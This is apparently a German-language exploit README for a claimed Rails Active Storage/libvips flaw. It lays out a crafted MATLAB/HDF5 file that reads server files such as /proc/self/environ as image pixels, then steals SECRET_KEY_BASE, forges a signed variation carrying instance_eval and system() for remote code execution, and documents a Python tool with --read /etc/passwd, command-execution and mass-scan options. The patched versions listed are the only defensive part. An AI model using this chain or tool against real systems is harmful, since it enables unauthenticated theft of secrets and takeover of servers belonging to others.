
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Beliebiger Dateizugriff → RCE. MATLAB/HDF5-Datei mit doppelter Identität → SECRET_KEY_BASE-Diebstahl → gefälschte Variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 ist eine kritische (CVSS 9.5) Pre-Authentifizierungs-Kette von beliebigem Dateilesen bis zur Remote-Code-Ausführung in Ruby on Rails Active Storage. Betroffen sind Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 und 8.1.0–8.1.3 in ihrer Standardkonfiguration.
Die Schwachstelle nutzt eine Vier-Ebenen-Parser-Konfusion über Rails, libvips, libmatio und HDF5 hinweg aus. Eine manipulierte Datei mit einem MATLAB-5.0-Header (der den Sniffer von libvips erfüllt) und einem HDF5-v7.3-Container (der von libmatio weitergeleitet wird) enthält ein externes Dataset, das auf einen beliebigen serverseitigen Dateipfad verweist. Wenn ActiveStorage diese Datei als Bildvariante verarbeitet, werden die Bytes der Zieldatei zu Bildpixeln – was beliebiges Dateilesen ohne Authentifizierung ermöglicht.
Sobald SECRET_KEY_BASE aus /proc/self/environ oder aus Credential-Dateien extrahiert wurde, leitet der Angreifer den Active-Storage-Verifier-Schlüssel ab und fälscht ein signiertes Varianten-JSON, das instance_eval enthält, um Remote-Code-Ausführung zu erreichen.
Betroffene Installationen: 500K+ Rails-Anwendungen (Rails 7+ Standard
variant_processor = :vips) Entdeckt von: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, Juli 2026 Patch: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29. Juli 2026)
| Branch | Verwundbar | Behoben |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x ist nur betroffen, wenn variant_processor = :vips manuell aktiviert wurde.
Entdeckt von: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph Referenz-PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
Der Exploit verkettet zwei unabhängige Content-Type-Konflikte über vier Komponenten hinweg:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
| Bytes | Zweck | Wert |
|---|---|---|
| 0–9 | libvips sniffer | MATLAB 5.0 |
| 10–123 | Padding | Leerzeichen |
| 124–125 | libmatio-Dispatcher | 0x0200 (HDF5 v7.3) |
| 126–127 | Endian-Marker | 0x4d49 (IM) |
| 128–511 | HDF5-Userblock | Padding |
| 512+ | HDF5-Superblock | Container mit externem Dataset |
„Kein legitimer Writer erzeugt sowohl MATLAB 5.0 an Byte 0 als auch 0x0200 an Byte 124."
Blob#variable? vertraut der Datenbankspalte, die beim direkten Upload befüllt wird. Es werden keine Bytes geprüft.Vips::Image.new_from_file iteriert über die Loader; der Sniffer von matload prüft nur 10 Bytes.0x0200 wählt das HDF5-Backend unabhängig vom beschreibenden Text.H5Pset_external erlaubt es, dass die Rohbytes eines Datasets in einer beliebigen externen Datei liegen. libmatio ruft H5Dread auf, ohne H5Pget_external_count zu prüfen.Transformers::Vips erbt validate_transformation von der Basisklasse, die nur combine_options blockiert. Beliebige Methodennamen werden an Vips::Image.public_send durchgereicht.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
| Datei | Zweck |
|---|---|
activestorage/app/models/active_storage/blob.rb | variable? vertraut der Spalte content_type |
activestorage/app/models/active_storage/blob/representable.rb | Die Representation-Route löst Blob und Variation unabhängig auf |
activestorage/app/models/active_storage/variation.rb | decode verifiziert den Variationsschlüssel; keine Querverbindung zum Blob |
image_processing/lib/image_processing/transformers/vips.rb | Keine Methoden-Allowlist — erbt das Verhalten der Basisklasse |
libvips/foreign/matload.c | vips__mat_ismat prüft nur die ersten 10 Bytes |
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5